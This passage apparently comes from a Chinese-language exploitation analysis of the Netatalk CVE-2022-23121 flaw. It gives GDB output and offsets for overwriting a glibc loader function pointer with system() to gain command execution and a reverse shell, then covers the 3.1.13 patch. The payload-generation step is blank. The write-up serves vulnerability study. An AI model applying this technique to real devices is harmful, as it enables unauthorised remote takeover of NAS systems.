gef? x /i $pc=> 0x7efeac84c59d <_dl_open+61>: call QWORD PTR [rip+0x199c5] # 0x7efeac865f68 <_rtld_global+3848>gef? x /gx 0x7efeac865f680x7efeac865f68 <_rtld_global+3848>: 0x4141414141414000gef?
在https://code.woboq.org/userspace/glibc/elf/dl-open.c.html 可以看到_dl_open函數源碼,該處為_dl_open函數試圖通過函數指針調用__rtld_lock_lock_recursive指向的函數并把_dl_load_lock地址作為指針參數傳入該函數內。
void *_dl_open (const char *file, int mode, const void *caller_dlopen, Lmid_t nsid, int argc, char *argv[], char *env[]){ if ((mode & RTLD_BINDING_MASK) == 0) /* One of the flags must be set. */ _dl_signal_error (EINVAL, file, NULL, N_("invalid mode for dlopen()")); /* Make sure we are alone. */ __rtld_lock_lock_recursive (GL(dl_load_lock));
_rtld_global地址為0x7efeac865060
gef? p &_rtld_global$4 = (struct rtld_global *) 0x7efeac865060 <_rtld_global
__rtld_lock_lock_recursive 函數指針及參數dl_load_lock均為全局變量_rtld_global的成員

# define GL(name) _rtld_local._##name# else# define GL(name) _rtld_global._##name定義在_rtld_local=_rtld_global
初始化過的全局變量存放在.data段,在ld.so中.data段的偏移為0x2e060。

此時可以利用任意寫將獲取到的system函數地址覆蓋到__rtld_lock_lock_recursive 內,并且將要執行的命令放入_dl_load_lock 即可造成命令執行。
命令執行
此前說過任意寫是將map + ad.ADEID_RFORK.off 處長為ad.ADEID_RFORK.len的數據寫入到map + ad.ADEID_FINDERI.off + 0x20 內,而在分配大小小于0x1000情況下,mmap函數分配的內存剛好在data段上面,此時mmap分配的內存地址距離要覆蓋的_dl_load_lock 參數為0x2968,以此可得ad.ADEID_FINDERI.off=0x2948
$7 = (__rtld_lock_recursive_t *) 0x7efeac865968 <_rtld_global+2312>gef? p &_rtld_global._dl_load_lock Quitgef? p 0x7efeac865968 - 0x7efeac863000$8 = 0x2968
同時還要覆蓋到__rtld_lock_lock_recursive 函數指針,測算可得至少需要復制0x600的長度才能覆蓋到函數指針,此處可以設置復制長度為0x620
gef? p &_rtld_global._dl_rtld_lock_recursive$10 = (void (**)(void *)) 0x7efeac865f68 <_rtld_global+3848>gef? p 0x7efeac865f68 - 0x7efeac863000$11 = 0x2f68gef? p 0x2f68 - 0x2968$12 = 0x600
利用上述偏移,加上計算得到的system函數地址,生成可用文件,如下:


此時在目標主機內已有了該定時任務,在攻擊機上監聽2333端口即可收到反彈的shell

十三、補丁分析
在Netatalk3.1.13版本中修復了該漏洞,在新版本中,先檢查if中的條件而后給ad指向的結構體賦值,如果if中條件為真,也就是可能發生了越界則直接打印錯誤消息而后return -1,只有if條件不滿足才繼續賦值,從而防止了adouble結構體含有不正確的偏移,在外層函數獲取到的偏移在范圍內從而修復了該漏洞。

十四、函數解釋
**void** *memmove (**void** *__dest, **const** **void** *__src, size_t __n)// dest指向要復制的目標內存,src指向要復制的數據內存,n為要復制的大小(字節)// 如果dest和src指向的內存重疊,該函數仍然可以正常處理,邏輯如下 char str[] = "memmove can be very useful......";memmove (str+20,str+15,11);// 輸出為 memmove can be very very useful.

十五、參考鏈接
https://code.woboq.org/userspace/glibc/elf/dl-open.c.html#_dl_open
https://nosec.org/home/detail/4997.html
https://research.nccgroup.com/2022/03/24/remote-code-execution-on-western-digital-pr4100-nas-cve-2022-23121/